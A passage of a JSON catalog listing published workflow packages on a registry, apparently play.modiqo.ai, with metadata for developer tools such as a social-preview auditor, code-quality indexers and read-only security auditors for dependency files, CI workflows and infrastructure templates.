finishes."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:14eea972de466b1d091b2f2300e084b06d828d5e18546ab79fe9677ca553deef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":2,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vinayakvispute/social-ready@0.1.1","reference":"vinayakvispute/social-ready@0.1.1","uri":"https://play.modiqo.ai/vinayakvispute/social-ready@0.1.1","manifest_uri":"https://play.modiqo.ai/vinayakvispute/social-ready@0.1.1","name":"social-ready","title":"social-ready","description":"Scores out of 100 how each route of a site will look when someone pastes it into Slack, LinkedIn, X or WhatsApp, then writes an HTML report with preview cards and a paste-ready fix prompt for your coding agent. Reads robots.txt first and honours it, takes routes from sitemap.xml or a crawl capped at max_routes, and fetches each route plus its og:image with plain GETs -- that is the whole network surface, and only the site you name is contacted. No JavaScript is ever executed while inspecting, which is exactly what the platform crawlers do, so what this reports is what they see; tags injected client-side are reported missing, with that reason. Reads no credentials, tokens or config files. Writes only inside this play's own rote run workspace, whose full paths it prints, and never into the directory you run it from. Headless Chrome is launched only if you pass generate=true, and only to render placeholder cards.","owner":{"kind":"user","slug":"vinayakvispute"},"registry_organization":"vinayakvispute","tags":["domain-web-operations","job-social-preview-audit","audience-developers","audience-founders","effect-read-only","og-image","open-graph","twitter-card","link-preview","social-sharing","seo","launch","read-only","no-credentials","python3"],"primary_domain":"domain-web-operations","author":"Vinayak Vispute","version":"0.1.1","published_at":"2026-09-05T19:23:00.077234+00:00","visibility":"public","quality_score":1,"size_bytes":33559,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":9,"names":["score","discover","normalize","fix_prompt","generate_og","open_report","render_html","inspect_route","render_previews"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Site origin to audit, scheme included (e.g. https://example.com)."},{"name":"max_routes","type":"string","required":false,"default":"50","description":"Cap on how many routes are discovered from the sitemap or the crawl."},{"name":"generate","type":"string","required":false,"default":"false","description":"Set to true to render a plain branded 1200x630 PNG for every route with no og:image. Needs Google Chrome installed; the default never launches a browser."},{"name":"user_agent","type":"string","required":false,"default":"Mozilla/5.0 (compatible; SocialReady/1.0; +https://play.modiqo.ai)","description":"User-Agent sent with every read-only GET, and the token robots.txt is matched against."},{"name":"request_timeout_seconds","type":"string","required":false,"default":"15","description":"Per-request socket timeout, in seconds."},{"name":"chrome","type":"string","required":false,"default":"","description":"Path to a Chrome or Chromium binary, used only when generate=true. Empty means find it automatically."},{"name":"open_report","type":"string","required":false,"default":"true","description":"Open social-ready.html in your default browser when the run finishes (macOS and Linux)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cf5f9967710ae66fb24a0e1bb156c41ada46e0cd25144b9ecef73eef50262825","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":2,"fan_out":6,"for_each_steps":1,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/dead-export-pruner@0.1.0","reference":"ameykaulavkar/dead-export-pruner@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/dead-export-pruner@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/dead-export-pruner@0.1.0","name":"dead-export-pruner","title":"dead-export-pruner","description":"Dead code, unused export, and orphaned module detector across TypeScript, JavaScript, and Python codebases. Cross-references export declarations against import graphs to prune dead surface area with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-dead-code","job-export-pruner","tool-tree-shaking","audience-developers","effect-read-only"],"primary_domain":"domain-dead-code","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T17:10:09.140989+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6362,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["orphaned_file_detector","dead_code_impact_scorer","export_declaration_indexer","import_reference_crossmatch"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Source code directory or file path, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cb33a91b99f250d68d8bc186b249d3e042b9c327fc3173d24d7afe36a0cce39a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/todo-debt-indexer@0.1.0","reference":"ameykaulavkar/todo-debt-indexer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/todo-debt-indexer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/todo-debt-indexer@0.1.0","name":"todo-debt-indexer","title":"todo-debt-indexer","description":"Technical debt marker indexer and code debt density quantifier. Catalogs TODO, FIXME, HACK, XXX, and DEPRECATED tags, evaluates issue ticket tracking, and estimates remediation backlog hours with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-code-maintenance","job-debt-indexer","tool-todo-scanner","audience-developers","effect-read-only"],"primary_domain":"domain-code-maintenance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T17:08:01.174616+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6215,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["attribution_tracker","debt_density_scorer","debt_marker_scanner","fixme_urgency_radar"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Source code file or directory path, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8bca5de2d1f8cda31462e55cee838c397a1ad5567c3cc40c18e101e47640c5f5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/code-complexity-matrix@0.1.0","reference":"ameykaulavkar/code-complexity-matrix@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/code-complexity-matrix@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/code-complexity-matrix@0.1.0","name":"code-complexity-matrix","title":"code-complexity-matrix","description":"Multi-dimensional static code complexity and maintainability indexer. Analyzes Cyclomatic Complexity Number (CCN), nesting depth (Pyramid of Doom), method line lengths, and cognitive load with zero external runtime dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-code-quality","job-complexity-matrix","tool-ccn-analyzer","audience-developers","effect-read-only"],"primary_domain":"domain-code-quality","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T17:05:27.664632+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7000,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["function_length_audit","nesting_depth_analyzer","cognitive_load_calculator","cyclomatic_complexity_probe"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Source code file or directory path, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:178bf2b0af7233fc32b6d98fc69a9de4c357ebb545255f4773ae5d2dd68551cc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/pypi-typosquat-shield@0.1.0","reference":"ameykaulavkar/pypi-typosquat-shield@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/pypi-typosquat-shield@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/pypi-typosquat-shield@0.1.0","name":"pypi-typosquat-shield","title":"pypi-typosquat-shield","description":"Python package supply chain shield against typosquatting, deceptive suffix confusion, unpinned wildcards, and known malicious package signatures. Analyzes requirements.txt and pyproject.toml with zero external API dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-python-security","job-typosquat-shield","tool-pypi-guard","audience-developers","effect-read-only"],"primary_domain":"domain-python-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T17:02:47.616278+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6895,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["name_confusion_probe","wildcard_version_audit","typosquat_distance_radar","known_malicious_signatures"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to requirements.txt, pyproject.toml, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c87feb76ec37aa1302b65c8e52003f42a3d534a6e2b5c3eb02db866f3291c9ec","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/npm-lockfile-audit@0.1.0","reference":"ameykaulavkar/npm-lockfile-audit@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/npm-lockfile-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/npm-lockfile-audit@0.1.0","name":"npm-lockfile-audit","title":"npm-lockfile-audit","description":"Supply chain security auditor, checksum integrity probe, duplicate package version detector, and lockfile version evaluator for npm package-lock.json. S0-clean, zero external keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-supply-chain","job-npm-lockfile-audit","tool-lockfile-bench","audience-developers","effect-read-only"],"primary_domain":"domain-supply-chain","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T17:00:14.636926+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6373,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["integrity_hash_probe","registry_source_audit","duplicate_package_bloat","lockfile_version_evaluator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to package-lock.json or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d4bbe8f812f487d4af996b75563b7025e678674cfcecc8d472c6655665f0aec2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/ssl-expiry-sentinel@0.1.0","reference":"ameykaulavkar/ssl-expiry-sentinel@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/ssl-expiry-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/ssl-expiry-sentinel@0.1.0","name":"ssl-expiry-sentinel","title":"ssl-expiry-sentinel","description":"Real-time TLS/SSL certificate lifecycle sentinel, expiration urgency monitor, CA trust chain validator, and SAN coverage analyzer. Connects directly via standard TLS sockets with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-tls-security","job-cert-lifecycle","tool-ssl-sentinel","audience-developers","effect-read-only"],"primary_domain":"domain-tls-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:49:55.047367+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6280,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["san_coverage_audit","cert_lifespan_probe","ocsp_stapling_check","ca_issuer_trust_chain"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Target domain or host:port (e.g. 'github.com' or 'example.com:443') or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a5d51e50675845eed8782a2daa4fc7e8bb0ae7d376724f61a2023afb9d12f177","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/github-actions-bench@0.1.0","reference":"ameykaulavkar/github-actions-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/github-actions-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/github-actions-bench@0.1.0","name":"github-actions-bench","title":"github-actions-bench","description":"GitHub Actions CI/CD security posture, injection vulnerability radar, and workflow hardening benchmarker. Detects unpinned action SHAs, expression injections in run scripts, overly permissive GITHUB_TOKEN scopes, and pull_request_target checkout hazards.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-devsecops","job-cicd-audit","tool-github-actions","audience-developers","effect-read-only"],"primary_domain":"domain-devsecops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:47:15.661839+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7385,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["script_injection_radar","unpinned_actions_probe","token_permissions_audit","pull_request_target_check"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a GitHub Actions workflow YAML file or directory (.github/workflows), or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:912b826d03117128963b79de0db134565840fe8bfcfa5e0f7f6903e89a3022d4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/cloudformation-guard@0.1.0","reference":"ameykaulavkar/cloudformation-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/cloudformation-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/cloudformation-guard@0.1.0","name":"cloudformation-guard","title":"cloudformation-guard","description":"AWS CloudFormation and SAM template security and FinOps auditor. Identifies IAM wildcard actions, unencrypted S3 buckets, missing public access blocks, open security groups (0.0.0.0/0 on sensitive ports), and unbounded CloudWatch log retention. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-aws-security","job-cloudformation-audit","tool-cfn-guard","audience-developers","effect-read-only"],"primary_domain":"domain-aws-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:43:37.071494+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6366,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["ingress_sg_audit","iam_wildcard_audit","logging_retention_audit","s3_encryption_public_audit"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a CloudFormation template (YAML/JSON) or 'sample' to evaluate reference template"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:947c18d664969eeb04e6b8b5d29834a71210344ac208c500672b1bd27cab2268","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/container-sbom-radar@0.1.0","reference":"ameykaulavkar/container-sbom-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/container-sbom-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/container-sbom-radar@0.1.0","name":"container-sbom-radar","title":"container-sbom-radar","description":"Container base image attack surface, package manager footprint, and SBOM supply chain security auditor. Classifies distribution footprints (Distroless, Alpine, Debian, Scratch), estimates OS CVE exposure, and audits SPDX/CycloneDX compliance. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-container-security","job-sbom-audit","tool-distroless-radar","audience-developers","effect-read-only"],"primary_domain":"domain-container-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:36:23.699003+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6314,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["base_image_analyzer","cve_surface_estimator","sbom_format_validator","package_manager_footprint"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a Dockerfile, image specification, SBOM JSON, or 'sample' to evaluate reference spec"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4c7758990cc2fa6aa455b25bc4737ebc48f9c826f6109b77c937c361d6b54b71","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/helm-chart-bench@0.1.0","reference":"ameykaulavkar/helm-chart-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/helm-chart-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/helm-chart-bench@0.1.0","name":"helm-chart-bench","title":"helm-chart-bench","description":"Kubernetes Helm chart production readiness, schema validation, and securityContext benchmark. Audits Chart.yaml metadata (v2/semver), values.schema.json typing, container securityContext (runAsNonRoot, readOnlyRootFilesystem), and CPU/memory resource quotas. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-kubernetes","job-helm-audit","tool-chart-bench","audience-developers","effect-read-only"],"primary_domain":"domain-kubernetes","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:32:46.350704+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6505,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["values_schema_audit","chart_metadata_audit","resource_quota_audit","templates_security_audit"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a Helm chart directory, Chart.yaml, or 'sample' to evaluate reference chart"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:474d3ff76473088cdc4b1c7a6185d951136e3d79cc459694101a1a30ce6e61f0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/release-radar-v2@0.1.1","reference":"shambhavi/release-radar-v2@0.1.1","uri":"https://play.modiqo.ai/shambhavi/release-radar-v2@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/release-radar-v2@0.1.1","name":"release-radar-v2","title":"release-radar-v2","description":"Inspect a repository for release readiness by checking working-tree state, change summary, latest commit, and test status.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["release","developer-tools","git","testing","release-readiness"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.1","published_at":"2026-09-05T16:29:35.391278+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":1886,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["git","npm","git_2","git_3"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d409a6da3446366def18c044a7d8f32f6772b8713922a7011339c722e28d22f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":3},{"name":"npm","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/ameykaulavkar/terraform-hygiene@0.1.0","reference":"ameykaulavkar/terraform-hygiene@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/terraform-hygiene@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/terraform-hygiene@0.1.0","name":"terraform-hygiene","title":"terraform-hygiene","description":"Static Terraform and HCL Infrastructure-as-Code (IaC) security and hygiene benchmark. Audits hardcoded secrets, overly permissive security groups (0.0.0.0/0 on sensitive ports), remote state locking/encryption, and module version pinning. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-iac-security","job-terraform-audit","tool-hcl-linter","audience-developers","effect-read-only"],"primary_domain":"domain-iac-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:24:59.803563+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6882,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["security_groups_audit","module_version_pinning","remote_state_lock_audit","hardcoded_secrets_scanner"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a Terraform (.tf) file, directory, or 'sample' to evaluate reference architecture"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8da9780e36aac8b00ced9c7440e512228a91328b28b6c695c60aaba62a5e4847","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/websocket-probe@0.1.0","reference":"ameykaulavkar/websocket-probe@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/websocket-probe@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/websocket-probe@0.1.0","name":"websocket-probe","title":"websocket-probe","description":"RFC 6455 WebSocket handshake upgrade, subprotocol negotiation, and real-time SSE streaming resilience auditor. Validates Sec-WebSocket-Accept cryptographic hashes, idle keep-alive timeouts, and HTTP streaming fallbacks. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-realtime-streaming","job-websocket-audit","tool-rfc6455","audience-developers","effect-read-only"],"primary_domain":"domain-realtime-streaming","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:21:10.378429+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6000,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["handshake_probe","subprotocol_probe","sse_fallback_probe","heartbeat_ping_probe"]},"parameters":[{"name":"target","type":"string","required":false,"default":"wss://echo.websocket.events","description":"WebSocket (ws://, wss://) or HTTP streaming endpoint to 